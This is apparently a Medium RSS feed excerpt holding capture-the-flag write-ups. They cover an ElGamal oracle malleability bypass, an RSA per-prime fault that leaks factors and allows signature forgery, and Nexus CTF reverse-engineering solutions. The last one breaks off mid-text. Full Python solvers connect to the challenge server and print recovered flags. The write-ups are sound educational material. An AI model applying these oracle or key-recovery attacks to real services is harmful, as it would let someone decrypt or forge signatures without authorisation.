width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Normal El-Gamal, Flagyard crypto]]></title>
            <link>https://medium.com/@3mksaad1600/normal-el-gamal-flagyard-crypto-14adfce7775f?source=rss-e1dedd3b090c------2</link>
            <guid isPermaLink="false">https://medium.com/p/14adfce7775f</guid>
            <dc:creator><![CDATA[3mksaad1600]]></dc:creator>
            <pubDate>Mon, 26 Jan 2026 09:05:54 GMT</pubDate>
            <atom:updated>2026-01-26T09:05:54.258Z</atom:updated>
            <content:encoded><![CDATA[<p>Author: Saad💛(3mksaad1600)</p><p>Category: Cryptography</p><p>Question: Normal El-Gamal</p><p>Description: Welcome to the Totally Normal ElGamal Oracle!</p><p>Difficulty: Hard</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cbsQwP45frTg0umS6iaNGA.png" /></figure><p>This document presents a complete and deterministic solution to the Normal El-Gamal cryptography challenge. The solution was obtained by exploiting the homomorphic properties of the Elliptic Curve ElGamal (ECEG) cryptosystem and performing algebraic parameter recovery to bypass the oracle’s security filters.</p><h3>1. Challenge Overview and Initial Analysis:</h3><p>The challenge provides an interactive service that implements an Elliptic Curve ElGamal Oracle. Upon connection, the user is presented with a target ciphertext and a menu of options.</p><h4>1.1. Ciphertext Structure:</h4><p>The initial output provides a ciphertext <strong><em>ct </em></strong>as a tuple of four large integers:<br><strong><em>ct = (c1x, c1y, c2x, c2y)</em></strong></p><p>This structure corresponds to two points on an elliptic curve:</p><pre>$C_1 = (c_{1x}, c_{1y})$<br>$C_2 = (c_{2x}, c_{2y})$</pre><h3>1.2. Oracle Capabilities:</h3><p>The service offers the following functionalities:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*JqYYPOVmvPKqevUz3hoHlA.png" /><figcaption>Question functionalities</figcaption></figure><p>As u see here when connecting to the instance provided you will be granted these three options:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C7BfOjWyUqLeIgq_V2ULlw.png" /><figcaption>Connection</figcaption></figure><p>Knowing instances, the flag is going to be dynamic but the solve steps are going to be the same and so is the Vunrability.</p><p>The <strong><em>dec </em></strong>function contains a filter that prevents direct decryption of the flag’s ciphertext or any points sharing coordinates with it, necessitating an indirect approach.</p><h3>2. Vulnerability Analysis: The Malleable Oracle:</h3><p>The core of the challenge involves bypassing the oracle’s filter by utilizing the mathematical properties of the underlying cryptosystem. The vulnerability stems from the inherent malleability of the ElGamal scheme, which allows an attacker to transform a ciphertext into a new, valid ciphertext for a related message without knowing the private key.</p><h4>2.1. The Additive Homomorphic Property (Malleability):</h4><p>ElGamal is an additively homomorphic cryptosystem. This means that operations on the ciphertexts correspond to operations on the plaintexts. This property is the source of the malleability vulnerability.</p><p>For a message point $m$ encrypted as $E(m) = (C_1, C_2)$, where<br> $C_1 = kG$ and $C_2 = kA + m$, an attacker can compute a new ciphertext $E(n \cdot m)$ for a message $n \cdot m$ by simply performing scalar multiplication on the ciphertext components:</p><pre>E(n \cdot m) = (C&#39;_1, C&#39;_2) = (n \cdot C_1, n \cdot C_2)</pre><p>Substituting the original components demonstrates why this works:</p><pre>C&#39;_1 = n \cdot (kG) = (nk)G<br>C&#39;_2 = n \cdot (kA + m) = n(kA) + n \cdot m = (nk)A + n \cdot m</pre><p>The resulting pair $(C’_1, C’_2)$ is a perfectly valid ElGamal ciphertext for the message $n \cdot m$, using a new ephemeral key $k’ = nk$. This ability to modify a ciphertext in a predictable way without knowing the private key is the definition of malleability.</p><h3>2.2. Bypassing the Oracle Filter:</h3><p>The challenge’s security relies on a filter in the decryption oracle (2. dec) that prevents the direct decryption of the target flag ciphertext $E(m)$. The filter likely checks for an exact match of the input ciphertext against the stored flag ciphertext.</p><p>The homomorphic property allows us to generate a new ciphertext $E(n \cdot m)$ that is mathematically related to the flag’s ciphertext but is structurally distinct. Since the coordinates of $C’_1$ and $C’_2$ are different from $C_1$ and $C_2$, the oracle’s filter is successfully bypassed. The oracle, believing it is decrypting a “safe” ciphertext, returns the message point $n \cdot m$. By generating two such related ciphertexts (e.g., $n=2$ and $n=3$), we can recover the original message $m$ through algebraic manipulation, as detailed in the solution steps.</p><h3>3. Step-by-Step Solution:</h3><h4>3.1. Elliptic Curve Parameter Recovery (p, a, b):</h4><p>To perform elliptic curve arithmetic, we must first recover the curve parameters. The curve follows the Weierstrass equation:</p><pre>y^2 \equiv x^3 + ax + b \pmod p</pre><ol><li><strong><em>Modulus $p$ Recovery: By encrypting known small integers $m_i$, we obtain points $(x_i, y_i)$. Subtracting the equations for two points $(x_1, y_1)$ and $(x_2, y_2)$ yields:</em></strong></li></ol><pre>(y_1^2 - x_1^3) - (y_2^2 - x_2^3) \equiv a(x_1 - x_2) \pmod p</pre><p>By collecting multiple samples and computing the GCD across pairs of such equations, the 384-bit prime $p$ is uniquely recovered.</p><p>2. <strong><em>Coefficients $a$ and $b$ Recovery: Once $p$ is found, $a$ and $b$ are solved using modular inversion and linear systems.</em></strong></p><h4>3.2. Message Recovery via Homomorphism:</h4><p>With the parameters $(p, a, b)$ known, the following steps are taken:</p><ol><li><strong><em>Scalar Multiplication: Multiply the flag ciphertext by 2 and 3 to get $E(2m)$ and $E(3m)$.</em></strong></li></ol><p>2. <strong><em>Oracle Query: Submit these to the oracle to obtain decrypted points <br>$P_2 = 2 \cdot m$ and $P_3 = 3 \cdot m$.</em></strong></p><p>3. <strong><em>Point Subtraction: Recover the original message point $m$ via:</em></strong></p><pre>m = P_3 - P_2</pre><h4>3.3. Flag Extraction:</h4><p>The flag is extracted from the x-coordinate of the recovered point $m$ using the challenge’s specific mapping:</p><pre>flag_int = x_val &gt;&gt; 8</pre><h3>4. Final Solver Script:</h3><p>The following Python script implements the complete recovery process, including the custom Elliptic Curve class and the homomorphic bypass logic.</p><pre>import socket<br>import sys<br>import math<br>import random<br>from Cryptodome.Util.number import long_to_bytes, inverse<br><br>def log(msg):<br>    print(msg, flush=True)<br><br>def modinv(a, m):<br>    try:<br>        return pow(a, -1, m)<br>    except:<br>        return None<br><br>class EC:<br>    def __init__(self, p, a, b):<br>        self.p, self.a, self.b = p, a, b<br>    def add(self, P1, P2):<br>        if P1 is None: return P2<br>        if P2 is None: return P1<br>        x1, y1 = P1; x2, y2 = P2; p = self.p<br>        if x1 == x2:<br>            if (y1 + y2) % p == 0: return None<br>            inv = modinv(2 * y1, p)<br>            if inv is None: return None<br>            m = (3 * x1 * x1 + self.a) * inv % p<br>        else:<br>            inv = modinv(x2 - x1, p)<br>            if inv is None: return None<br>            m = (y2 - y1) * inv % p<br>        x3 = (m * m - x1 - x2) % p<br>        y3 = (m * (x1 - x3) - y1) % p<br>        return (x3, y3)<br>    def mul(self, P, n):<br>        res = None; base = P<br>        while n &gt; 0:<br>            if n % 2 == 1: res = self.add(res, base)<br>            base = self.add(base, base)<br>            n //= 2<br>        return res<br>    def sub(self, P1, P2):<br>        if P2 is None: return P1<br>        return self.add(P1, (P2[0], (-P2[1]) % self.p))<br><br># Connect to the new port<br>HOST = &#39;tcp.flagyard.com&#39;<br>PORT = 20805<br><br>log(f&quot;[*] Connecting to {HOST}:{PORT}...&quot;)<br>s = socket.socket()<br>s.connect((HOST, PORT))<br><br>def recv_menu():<br>    data = b&#39;&#39;<br>    while b&#39;&gt;&gt;&#39; not in data:<br>        data += s.recv(1024)<br>    return data<br><br>initial = recv_menu()<br># Extract original ct<br>ct_line = [l for l in initial.decode().split(&#39;\n&#39;) if &#39;ct=(&#39; in l][0]<br>ct = eval(ct_line[ct_line.find(&#39;ct=(&#39;)+3 : ct_line.find(&#39;)&#39;, ct_line.find(&#39;ct=(&#39;))+1])<br>c1_orig, c2_orig = (ct[0], ct[1]), (ct[2], ct[3])<br><br>log(&quot;[*] Collecting 40 points for parameter recovery...&quot;)<br>points = [c1_orig, c2_orig]<br>for i in range(1, 41):<br>    s.send(b&#39;1\n&#39;)<br>    recv_menu()<br>    s.send(f&#39;{i}\n&#39;.encode())<br>    resp = b&#39;&#39;<br>    while b&#39;\n&#39; not in resp:<br>        resp += s.recv(1)<br>    e = eval(resp.strip().decode())<br>    points.append((e[0], e[1])) # C1<br>    points.append((e[2], e[3])) # C2<br>    recv_menu()<br><br>log(&quot;[*] Recovering prime modulus p...&quot;)<br>diff_vals = []<br>for i in range(len(points)):<br>    for j in range(i+1, len(points)):<br>        xi, yi = points[i]; xj, yj = points[j]<br>        v = (yi*yi - xi**3) - (yj*yj - xj**3)<br>        dx = xi - xj<br>        if dx != 0:<br>            diff_vals.append((v, dx))<br><br>p_res = 0<br>for _ in range(2000):<br>    i1, i2 = random.sample(range(len(diff_vals)), 2)<br>    v1, dx1 = diff_vals[i1]; v2, dx2 = diff_vals[i2]<br>    val = abs(v1 * dx2 - v2 * dx1)<br>    if val &gt; 0:<br>        if p_res == 0: p_res = val<br>        else: p_res = math.gcd(p_res, val)<br><br># Remove small factors<br>temp = p_res<br>for i in [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31]:<br>    while temp % i == 0: temp //= i<br>p = temp<br>log(f&quot;[+] Found p: {p}&quot;)<br><br>log(&quot;[*] Recovering a and b...&quot;)<br>a, b = 0, 0<br>for i in range(len(points)):<br>    for j in range(i+1, len(points)):<br>        x1, y1 = points[i]; x2, y2 = points[j]<br>        try:<br>            inv = modinv(x1 - x2, p)<br>            if inv:<br>                at = ((y1*y1 - x1**3) - (y2*y2 - x2**3)) * inv % p<br>                bt = (y1*y1 - x1**3 - at*x1) % p<br>                # Verify with another point<br>                v_pt = points[4]<br>                if (v_pt[1]**2) % p == (v_pt[0]**3 + at*v_pt[0] + bt) % p:<br>                    a, b = at, bt<br>                    break<br>        except: continue<br>    else: continue<br>    break<br>log(f&quot;[+] Found a: {a}, b: {b}&quot;)<br><br>curve = EC(p, a, b)<br><br>def oracle_dec(p1, p2):<br>    s.send(b&#39;2\n&#39;)<br>    recv_menu()<br>    s.send(f&quot;{p1[0]},{p1[1]},{p2[0]},{p2[1]}\n&quot;.encode())<br>    resp = b&#39;&#39;<br>    while b&#39;\n&#39; not in resp:<br>        resp += s.recv(1)<br>    recv_menu()<br>    if b&#39;m= &#39; in resp:<br>        parts = resp.decode().split(&quot;m= &quot;)[1].split()<br>        return (int(parts[0]), int(parts[1]))<br>    return None<br><br>log(&quot;[*] Performing homomorphic multiplication bypass...&quot;)<br>c1_2, c2_2 = curve.mul(c1_orig, 2), curve.mul(c2_orig, 2)<br>c1_3, c2_3 = curve.mul(c1_orig, 3), curve.mul(c2_orig, 3)<br><br>m2 = oracle_dec(c1_2, c2_2)<br>m3 = oracle_dec(c1_3, c2_3)<br><br>if m2 and m3:<br>    m_point = curve.sub(m3, m2)<br>    flag_int = m_point[0] &gt;&gt; 8<br>    flag = long_to_bytes(flag_int)<br>    log(&quot;\n&quot; + &quot;=&quot;*50)<br>    log(f&quot;RECOVERED FLAG: {flag.decode(errors=&#39;ignore&#39;)}&quot;)<br>    log(&quot;=&quot;*50 + &quot;\n&quot;)<br>else:<br>    log(&quot;[!] Oracle decryption failed.&quot;)<br><br>s.close()</pre><p>make sure to change you’re instance at the instance part!</p><p>after running the script:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WMIK8KaQKKZj-UGhYpqaPQ.png" /><figcaption>Script output</figcaption></figure><h3>5. Conclusion:</h3><p>The challenge demonstrates that masking specific ciphertexts is insufficient if the cryptosystem is malleable. By utilizing the homomorphic nature of ElGamal, we can force the oracle to decrypt related messages that reveal the primary secret. The successful recovery of the flag.</p><p>Make sure to check out my other works and leave a follow for more in the future!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=14adfce7775f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Write-up: Nobody’s Fault Challenge]]></title>
            <link>https://medium.com/@3mksaad1600/write-up-nobodys-fault-challenge-f193462cfb0c?source=rss-e1dedd3b090c------2</link>
            <guid isPermaLink="false">https://medium.com/p/f193462cfb0c</guid>
            <category><![CDATA[flagyard]]></category>
            <category><![CDATA[capture-the-flag]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[cryptography]]></category>
            <dc:creator><![CDATA[3mksaad1600]]></dc:creator>
            <pubDate>Mon, 05 Jan 2026 10:01:54 GMT</pubDate>
            <atom:updated>2026-01-05T10:01:54.205Z</atom:updated>
            <content:encoded><![CDATA[<p>Flagyard crypto</p><p>Author: Saad💛(3mksaad1600)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*OZNskC0o21_dgPdc" /><figcaption>Challenge image</figcaption></figure><p>The Nobody’s Fault challenge is a cryptographic Capture The Flag (CTF) task involving a misconfigured RSA signature and encryption service. The title is a clever play on words, referring to the fatal “fault” of performing operations using individual prime factors ($p, q$) rather than the full modulus $n$.</p><h3>1. Vulnerability Analysis:</h3><p>The core vulnerability stems from the implementation’s failure to adhere to standard RSA protocols. In the challenge.py service, the operations are distributed across the individual factors:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*90-X7cvrC5lpCMbgm_nIBQ.png" /><figcaption>operation analysis</figcaption></figure><p>Standard RSA requires all operations to be performed modulo $n$. By isolating $p$ and $q$ for signing and encryption, the service inadvertently leaks the secret factors themselves.</p><h3>2. Mathematical Leaks:</h3><h4>Leaking $p$ via Signatures:</h4><p>When a signature is requested for a message hash $h$, the service returns: sig \equiv h^d \pmod p Raising both sides to the public exponent $e$ yields: sig^e \equiv (h^d)^e \equiv h^{de} \equiv h¹ \pmod p This implies that $sig^e — h$ is a multiple of $p$. By obtaining two signatures $sig_1, sig_2$ for different hashes $h_1, h_2$, the factor $p$ can be recovered: p = \text{gcd}(sig_1^e — h_1, sig_2^e — h_2)</p><h4>Leaking $q$ via Encryption:</h4><p>Similarly, the encryption process leaks $q$. When a message $m$ is encrypted: enc \equiv m^e \pmod q This implies $m^e — enc$ is a multiple of $q$. By encrypting two distinct messages $m_1, m_2$, $q$ can be recovered: q = \text{gcd}(m_1^e — enc_1, m_2^e — enc_2)</p><h3>3. Exploitation Strategy:</h3><p>The exploitation follows a systematic four-step process to recover the private key and forge the required signature.</p><h3>Step 1: Recover Factor $q$:</h3><p>1.Connect to the service and request encryption for two small messages (e.g., “A” and “B”).</p><p>2.Receive the corresponding ciphertexts $enc_1$ and $enc_2$.</p><p>3.Compute $q = \text{gcd}(A^e — enc_1, B^e — enc_2)$ and remove any small extraneous factors.</p><h3>Step 2: Recover Factor $p$:</h3><p>1.Request signatures for two arbitrary messages (e.g., “msg1” and “msg2”).</p><p>2.Receive $sig_1$ and $sig_2$.</p><p>3.Compute $p = \text{gcd}(sig_1^e — h_1, sig_2^e — h_2)$.</p><blockquote>Note: Since $sig$ is approximately 512 bits and $e = 65537$, $sig^e$ is quite large (~4MB). High-performance libraries like gmpy2 are recommended for this calculation.</blockquote><h3>Step 3: Forge the Flag Signature:</h3><p>With both $p$ and $q$ recovered, the full private key can be reconstructed:</p><p>1.Calculate the full modulus: $n = p \cdot q$.</p><p>2.Calculate the totient: $\phi(n) = (p-1)(q-1)$.</p><p>3.Compute the private exponent: $d = e^{-1} \pmod{\phi(n)}$.</p><p>4.Generate the target signature for the message “give_me_flag”: sig_{target} = h^d \pmod n</p><h3>Step 4: Submit and Retrieve Flag:</h3><p>1.Select the Verify option (Choice 2).</p><p>2.Provide the message give_me_flag and the forged $sig_{target}$.</p><p>3.The service verifies the signature modulo $n$: pow(sig_target, e, n) == h.</p><p>4.Upon successful verification, the service reveals the flag.</p><h3>4. Exploit Script:</h3><p>The following Python script automates the recovery of $p$ and $q$ and forges the signature to retrieve the flag.</p><pre>import socket<br>import hashlib<br>import sys<br>import gmpy2<br>import time<br><br># Increase the limit for integer to string conversion<br>sys.set_int_max_str_digits(0)<br><br>def bytes_to_long(b):<br>    return int.from_bytes(b, &#39;big&#39;)<br><br>def get_h(msg):<br>    return gmpy2.mpz(int.from_bytes(hashlib.sha256(msg).digest(), &#39;big&#39;))<br><br>def recvuntil(s, delim):<br>    res = b&quot;&quot;<br>    while delim not in res:<br>        chunk = s.recv(1)<br>        if not chunk: break<br>        res += chunk<br>    return res<br><br>def find_large_factor(n):<br>    # Strip small factors<br>    d = 2<br>    while n % d == 0: n //= d<br>    d = 3<br>    while d * d &lt;= 1000000 and n &gt; 1:<br>        while n % d == 0:<br>            n //= d<br>        d += 2<br>    # After stripping small factors, the remaining n should be the prime p or q<br>    return n<br><br>def solve():<br>    host = &#39;tcp.flagyard.com&#39;<br>    port = 23896<br>    e = 65537<br><br>    print(f&quot;[+] Connecting to {host}:{port}...&quot;)<br>    try:<br>        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br>        s.connect((host, port))<br>    except Exception as err:<br>        print(f&quot;[-] Connection failed: {err}&quot;)<br>        return<br>    print(&quot;[+] Connected.&quot;)<br><br>    def sign(msg):<br>        print(f&quot;[*] Requesting signature for {msg}...&quot;)<br>        recvuntil(s, b&#39;&gt; &#39;)<br>        s.sendall(b&#39;1\n&#39;)<br>        recvuntil(s, b&#39;Message to sign: &#39;)<br>        s.sendall(msg + b&#39;\n&#39;)<br>        recvuntil(s, b&#39;Signature: &#39;)<br>        line = recvuntil(s, b&#39;\n&#39;)<br>        return gmpy2.mpz(line.strip())<br><br>    def encrypt(msg_str):<br>        print(f&quot;[*] Requesting encryption for {msg_str}...&quot;)<br>        recvuntil(s, b&#39;&gt; &#39;)<br>        s.sendall(b&#39;3\n&#39;)<br>        recvuntil(s, b&#39;Message to encrypt: &#39;)<br>        s.sendall(msg_str.encode() + b&#39;\n&#39;)<br>        recvuntil(s, b&#39;enc: &#39;)<br>        line = recvuntil(s, b&#39;\n&#39;)<br>        return gmpy2.mpz(line.strip())<br><br>    print(&quot;[+] Leaking q using small messages...&quot;)<br>    msg1_str = &quot;A&quot;<br>    msg2_str = &quot;B&quot;<br>    c1 = encrypt(msg1_str)<br>    c2 = encrypt(msg2_str)<br>    <br>    print(&quot;[*] Computing GCD for q...&quot;)<br>    m1_val = bytes_to_long(msg1_str.encode())<br>    m2_val = bytes_to_long(msg2_str.encode())<br>    <br>    v1 = gmpy2.mpz(m1_val)**e - c1<br>    v2 = gmpy2.mpz(m2_val)**e - c2<br>    q_cand = gmpy2.gcd(v1, v2)<br>    q = find_large_factor(q_cand)<br>    <br>    if gmpy2.is_prime(q):<br>        print(f&quot;[!] Found q: {q}&quot;)<br>    else:<br>        print(f&quot;[-] Could not isolate prime q. Remaining cand: {q.bit_length()} bits&quot;)<br>        return<br><br>    print(&quot;[+] Leaking p...&quot;)<br>    sig1 = sign(b&#39;msg1&#39;)<br>    sig2 = sign(b&#39;msg2&#39;)<br>    h1 = get_h(b&#39;msg1&#39;)<br>    h2 = get_h(b&#39;msg2&#39;)<br>    <br>    print(&quot;[*] Computing GCD for p...&quot;)<br>    v3 = gmpy2.mpz(sig1)**e - h1<br>    v4 = gmpy2.mpz(sig2)**e - h2<br>    p_cand = gmpy2.gcd(v3, v4)<br>    p = find_large_factor(p_cand)<br>    <br>    if gmpy2.is_prime(p):<br>        print(f&quot;[!] Found p: {p}&quot;)<br>    else:<br>        print(f&quot;[-] Could not isolate prime p. Remaining cand: {p.bit_length()} bits&quot;)<br>        return<br><br>    n = p * q<br>    print(f&quot;[!] n = {n}&quot;)<br>    <br>    msg_target = b&#39;give_me_flag&#39;<br>    h_target = get_h(msg_target)<br>    phi = (p-1)*(q-1)<br>    d = gmpy2.invert(e, phi)<br>    sig_target = gmpy2.powmod(h_target, d, n)<br>    <br>    print(&quot;[+] Submitting forged signature...&quot;)<br>    recvuntil(s, b&#39;&gt; &#39;)<br>    s.sendall(b&#39;2\n&#39;)<br>    recvuntil(s, b&#39;Message: &#39;)<br>    s.sendall(msg_target + b&#39;\n&#39;)<br>    recvuntil(s, b&#39;Signature: &#39;)<br>    s.sendall(str(sig_target).encode() + b&#39;\n&#39;)<br>    <br>    final_resp = s.recv(4096).decode()<br>    print(final_resp)<br>    s.close()<br><br>if __name__ == &quot;__main__&quot;:<br>    solve()</pre><h3>5. Recovered Flag:</h3><p>The final flag obtained from the service is:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CnkYr63oteXxhMLYhC2ufQ.png" /><figcaption>Exploit result</figcaption></figure><blockquote>Flag: FlagY{9cd67ddc9c28a2df2c2e867b4ee043e1}</blockquote><p>be sure to change the instance in the script to your instance.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f193462cfb0c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Nexus ctf all reverse engineering questions writeup.]]></title>
            <link>https://medium.com/@3mksaad1600/nexus-ctf-all-reverse-engineering-questions-writeup-d1480185c165?source=rss-e1dedd3b090c------2</link>
            <guid isPermaLink="false">https://medium.com/p/d1480185c165</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[nexus]]></category>
            <category><![CDATA[pwn]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <dc:creator><![CDATA[3mksaad1600]]></dc:creator>
            <pubDate>Sat, 13 Dec 2025 18:18:34 GMT</pubDate>
            <atom:updated>2025-12-13T18:18:34.967Z</atom:updated>
            <content:encoded><![CDATA[<p>write up author : Saad💛,</p><p>Team : Nuero Black participated in this ctf as DAMAGE CTRL</p><p>recently i took part in nexus ctf for fun, not as compettiton as i speciliaze in reverse engineering i wanted some experience, i managed to solve all challs, except for elenoras which had 0 solves when the ctf ended, heres a detailed write up on all the challenges i solved, 7reverse and 2 pwn challs, enjoy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h6TwB9U4sjmb7BIVc3Sl8A.jpeg" /></figure><h3>1) Blank:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*NHDJDihqYd6IwbZgHDjHvw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*dCFRfRJtTX1Hi1uV2w84mA.png" /></figure><p>The challenge provided a single file named blank and a cryptic question, suggesting a focus on system-level operations or error handling.</p><h3>Analysis Methodology:</h3><p>The approach involved a standard reverse engineering workflow:<br> 1. File Identification: Determine the file type. <br>2. Static Analysis: Examine the file’s contents without executing it. <br>3. Dynamic Analysis: Observe the program’s behavior during execution.</p><h3>1. File Identification:</h3><p>Using the file command, the nature of the provided file was quickly determined:</p><blockquote>$ file blank</blockquote><blockquote>blank: ELF 64-bit LSB executable, x86–64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=…, for GNU/Linux 3.2.0, not stripped</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UFzGWZyc2gysd2I0Y43aag.jpeg" /></figure><p>The file is a statically linked ELF 64-bit executable for Linux, confirming the need for reverse engineering techniques.</p><h3>2. Static Analysis (Strings):</h3><p>The strings utility was used to extract all printable strings from the binary, searching for common flag formats ( flag , CTF , nexus{…} )</p><blockquote>$ strings blank | grep -E ‘flag|FLAG|CTF|nexus’</blockquote><blockquote># No clear flag or hint was found.</blockquote><p>This suggested that the flag was either heavily obfuscated, dynamically generated, or only revealed during runtime.</p><h3>3. Dynamic Analysis (strace):</h3><p>Given the challenge prompt’s reference to “kernel mode Syscalls” and the static analysis dead end, the next logical step was to use strace to monitor the program’s system calls. This tool reveals all interactions between the program and the operating system kernel.</p><p>The program was first made executable and then run with strace :</p><blockquote>$ chmod +x blank</blockquote><blockquote>$ strace -f ./blank</blockquote><p>The strace output revealed a series of write system calls that were failing with a “Bad file descriptor” ( EBADF ) error. Crucially, the data being written in these calls was the flag, broken into small chunks:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/884/1*WUVmqb_V_hEx3bdZx0xRWg.png" /></figure><p>The program was attempting to write the flag to file descriptor 5 , which was not open, causing the EBADF error. The challenge’s prompt about trusting syscalls to handle errors was a direct hint that the flag would be found within the error-generating syscalls.</p><h3>Flag Reconstruction:</h3><p>The chunks were concatenated to form the complete flag: <br>nexus{ + th3_f + l4g_w1ll + _r3ve4l + _1ts3l + f_wh3n + _y0u_ + st0p_ + look + 1ng}</p><p>Initial (Incorrect) Reconstruction: nexus{th3_f14g_w1ll_r3ve4l_1ts3lf_wh3n_y0u_st0p_look1ng}</p><p>Correction:</p><p>A careful review of the chunks showed that the l in fl4g was in the third chunk ( l4g_w1ll ), not the second.</p><p>The correct assembly is: nexus{th3_fl4g_w1ll_r3ve4l_1ts3lf_wh3n_y0u_st0p_look1ng}</p><p>The flag is a play on words, referencing the common CTF advice to “stop looking” for the flag in complex ways when it’s hidden in plain sight (or in this case, in the syscall trace).</p><p>Final Flag The correct flag is: nexus{th3_fl4g_w1ll_r3ve4l_1ts3lf_wh3n_y0u_st0p_look1ng}.</p><p>onto the next challenge!!</p><h3>2:HuntMe3:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1013/1*HAa3CRf3llWe3tXuQ_TcsA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*1F3WKYtOVa4mZ5gWBtKmKw.png" /></figure><p>The challenge provided a single 64-bit ELF binary named HuntMe3 . The objective was to reverse engineer the binary’s internal validation logic to discover the correct flag, which, when submitted, would result in a success message “( CONGRATULATIONS, MASTER HUNTER”). Incorrect input results in the message: “The forest rejects your offering.”</p><h3>Analysis Methodology:</h3><p>The solution involved a standard reverse engineering workflow, focusing on static and dynamic analysis to uncover the custom validation algorithm.</p><ol><li>File Identification: Determine the file type and basic properties.</li><li>2. Static Analysis: Examine the disassembled code to identify constraints and the core logic.</li><li>3. Dynamic Analysis &amp; Reversal: Replicate the custom algorithm in a solver script to decrypt the flag.</li></ol><h3>1. File Identification:</h3><p>The file utility was used to determine the nature of the provided executable.</p><blockquote>$ file HuntMe3</blockquote><blockquote>HuntMe3: ELF 64-bit LSB pie executable, x86–64, version 1 (SYSV), dynamically linked, BuildID[sha1]=…, for GNU/Linux 3.2.0, not stripped</blockquote><p>The file is a standard 64-bit Linux executable, confirming the need for x86–64 reverse engineering techniques. Initial checks with strings revealed no plaintext flag or immediate hints, suggesting a complex, custom validation routine.</p><h3>2. Static Analysis:</h3><p>Disassembly of the binary’s main function revealed the core validation logic.</p><h3>2.1: Input Constraints:</h3><p>The first critical check performed by the binary is on the length of the user’s input.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/862/1*Gv8n1FFjswkd3d47wz64Fg.png" /></figure><h3>2.2. Custom Validation Algorithm :</h3><p>The validation is performed within a loop that iterates 53 times. The check for each character is a custom XOR-based comparison against data stored in the .rodata section.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/855/1*2r7-eFsYuQzmI7PTSoixiw.png" /></figure><p>Permutation Table ( d ): An array of 53 indices that shuffles the order in which the input characters are checked.</p><p>Target Table ( t ): An array of 53 encrypted bytes that the XOR result must match.</p><h3>3. Dynamic Analysis &amp; Reversal:</h3><p>The challenge’s complexity lay in the dynamic generation of the 8-bit key, Key[i], which changes for every iteration .</p><h3>3.1. Key Generation Logic:</h3><p>The key is generated by maintaining and updating four 32-bit state variables ( v4, v8, vc, v10 ) in a loop that runs up to the current index .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/1*SPAPKwWt-HXrdM8Dgf020g.png" /></figure><p>The final 8-bit key is derived from a complex mixing of the final states of v4, v8 and vc.</p><h3>3.2. Solution Script:</h3><p>Since the operation is a simple XOR, the flag character can be recovered by reversing the check: $Input[Permutation Table[i]] = Target Table[i] ⊕ Key[i]$</p><p>A Python script ( solve.py ) was written to replicate the key generation and apply the inverse XOR operation, placing the decrypted character at the correct position dictated by the Permutation Table.</p><h3>python(solve.py):</h3><pre># HuntMe3 Solver (Excerpt)<br>import struct<br><br># Extracted Permutation Table (d) and Target Table (t) data...<br>def rol(val, shift):<br>    &quot;&quot;&quot;Rotate Left 32-bit integer&quot;&quot;&quot;<br>    shift &amp;= 0x1f<br>    return ((val &lt;&lt; shift) | (val &gt;&gt; (32 - shift))) &amp; 0xffffffff<br>def gen_key(index):<br>    # Replicated key generation logic...<br>    v4 = 0x7a8ab05c<br>    v8 = 0x362d12d2<br>    vc = 0x1574b128<br>    v10 = 0 <br>    <br>    while v10 &lt;= index:<br>        v4 = (v4 + 0xe868d9fc) &amp; 0xffffffff<br>        v8 = (v8 + v10 * v10) &amp; 0xffffffff<br>        vc = rol(vc, v10 &amp; 7)<br>        v10 += 1<br>        <br>    # Final mixing to produce 8-bit key<br>    v1c = (v4 ^ v8 ^ (vc &gt;&gt; (index &amp; 7))) &amp; 0xff<br>    # ... additional mixing operations ...<br>    return v1c &amp; 0xff<br># Decryption Routine<br>flag_chars = [&#39;?&#39;] * 53<br>for i in range(53):<br>    key = gen_key(i)<br>    original_char_code = t[i] ^ key<br>    flag_chars[d[i]] = chr(original_char_code)<br>flag = &quot;&quot;.join(flag_chars)<br>print(f&quot;[+] Flag found: {flag}&quot;)</pre><h3>Final Flag :</h3><p>Execution of the solver script yielded the final flag, which was successfully verified against the HuntMe3 binary.</p><p>The correct flag is: nexus{thr33_hunt5_c0mpl3t3_th3_f0r3st_gr4nts_p4ss4g3}</p><p>Onto the next chall!!!</p><h3>3) Tarnished:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/835/1*tjG7J7RE12ZreLhIfbpTqA.jpeg" /></figure><p>I was the 2nd person to solve this chall, but took the screenshot later on.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/1*apJ4bomOFMffn9YWF7waQA.png" /></figure><p>We were provided with a 64-bit ELF executable named tarnished and a partially implemented Python solver script. The objective was to reverse engineer the binary to bypass its anti-debugging 